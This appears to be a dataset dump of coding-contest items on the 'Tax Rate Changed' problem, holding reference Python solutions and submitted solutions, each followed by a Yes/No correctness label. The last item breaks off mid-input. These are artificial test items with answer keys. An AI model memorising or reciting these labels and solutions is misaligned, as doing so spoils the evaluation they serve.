The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7 | instruction | 0 | 52,999 | 10 | 105,998 |
"Correct Solution:
```
while True :
x, y, s = map(int, input().split())
if x == 0 :
break
else :
S = s // 2 + 1
# a < b と考える
c = 0
# 新税率の最大価格
for i in range(1, s - 1) :
a = i * (100 + x) // 100
# 旧税率
if(a <= S) :
for j in range(1, s - 1) :
b = j * (100 + x) // 100
if(s == a + b) :
A = i * (100 + y) // 100
# 新税率
B = j * (100 + y) // 100
if(A + B > c) :
c = A + B
else :
break
print(c)
``` | output | 1 | 52,999 | 10 | 105,999 |
Provide a correct Python 3 solution for this coding contest problem.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7 | instruction | 0 | 53,000 | 10 | 106,000 |
"Correct Solution:
```
import math
while True:
max_price=0
x,y,s=map(int,input().split())
if x==y==s==0:
break
else:
for i in range(1,s//2 + 1):
p_1=math.floor(i*(100+x)/100)
z=s-p_1
ori_z=math.ceil(z*100/(100+x))
if math.floor(ori_z *(100+x)/100)+p_1 ==s:
neo_i=math.floor(i*(100+y)/100)
neo_z=math.floor(ori_z*(100+y)/100)
neo_sum=neo_i+neo_z
if neo_sum > max_price:
max_price=neo_sum
print(max_price)
``` | output | 1 | 53,000 | 10 | 106,001 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Submitted Solution:
```
def tax(p,x):
return p*(100+x) // 100
def solve(X,Y,S):
best = 0
for a in range(1,S):
for b in range(1,S):
sum = tax(a,X)+tax(b,X)
if sum == S:
new = tax(a,Y)+tax(b,Y)
best = max(best,new)
if sum > S:
break
return best
while True:
X,Y,S = map(int, input().strip().split( ))
if X == 0:
break
print(solve(X,Y,S))
``` | instruction | 0 | 53,001 | 10 | 106,002 |
Yes | output | 1 | 53,001 | 10 | 106,003 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Submitted Solution:
```
def change(before_tax,after_tax,previous_price):
original_price = 0
for i in range(1, previous_price+1):
if i * (100 + before_tax) // 100 == previous_price:
original_price = i
break
else:
pass
return original_price * (100 + after_tax) // 100
ans_list = []
while True:
x,y,s = [int(x) for x in input().split()]
if x == 0:
break
else:
ans = 0
for i in range(1,s):
price1, price2 = i, s - i
afterprice = change(x,y,price1) + change(x,y,price2)
if afterprice > ans:
ans = afterprice
else:
continue
ans_list.append(ans)
for x in ans_list:
print(x)
``` | instruction | 0 | 53,002 | 10 | 106,004 |
Yes | output | 1 | 53,002 | 10 | 106,005 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Submitted Solution:
```
def t(a,b,x):return b*(100+x)//100+(a-b)*(100+x)//100
while 1:
x,y,s=map(int,input().split())
if x==0:break
a=0
for i in range(s*100//(100+x),s+1):
for j in range(1,i//2+1):
if t(i,j,x)!=s:pass
else:a=max(a,t(i,j,y))
print(a)
``` | instruction | 0 | 53,003 | 10 | 106,006 |
Yes | output | 1 | 53,003 | 10 | 106,007 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Submitted Solution:
```
while True:
x, y, s = map(int , input().split())
if x == 0 and y == 0 and s == 0:
break
ans = 0
for a in range(1, s):
for b in range(1, a + 1):
pre = a * (100 + x) // 100 + b * (100 + x) // 100
if pre == s:
now = a * (100 + y) // 100 + b * (100 + y) // 100
ans = max(ans, now)
print(ans)
``` | instruction | 0 | 53,004 | 10 | 106,008 |
Yes | output | 1 | 53,004 | 10 | 106,009 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Submitted Solution:
```
while True:
x, y, s = map(int, input().split())
if x==0 and y==0 and s==0:
break
else:
value = 0
for a in range(1, s):
for b in range(1, s-a+1):
if int(a*(100+x)/100) + int(b*(100+x)/100) == s:
v = int(a*(100+y)/100) + int(b*(100+y)/100)
if value < v:
value = v
break
print(value)
``` | instruction | 0 | 53,005 | 10 | 106,010 |
No | output | 1 | 53,005 | 10 | 106,011 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Submitted Solution:
```
def tax(p,x):
return p*(100+x) // 100
def solve(X,Y,S):
for a in range(1,S):
for b in range(1,S):
sum = tax(a,X)+tax(b,X)
if sum == S:
tax(a,Y)+tax(b,Y)
if sum > S:
break
return best
while True:
X,Y,S = map(int, input().strip().split(''))
if X == 0:
break
print(solve(X,Y,S))
``` | instruction | 0 | 53,006 | 10 | 106,012 |
No | output | 1 | 53,006 | 10 | 106,013 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
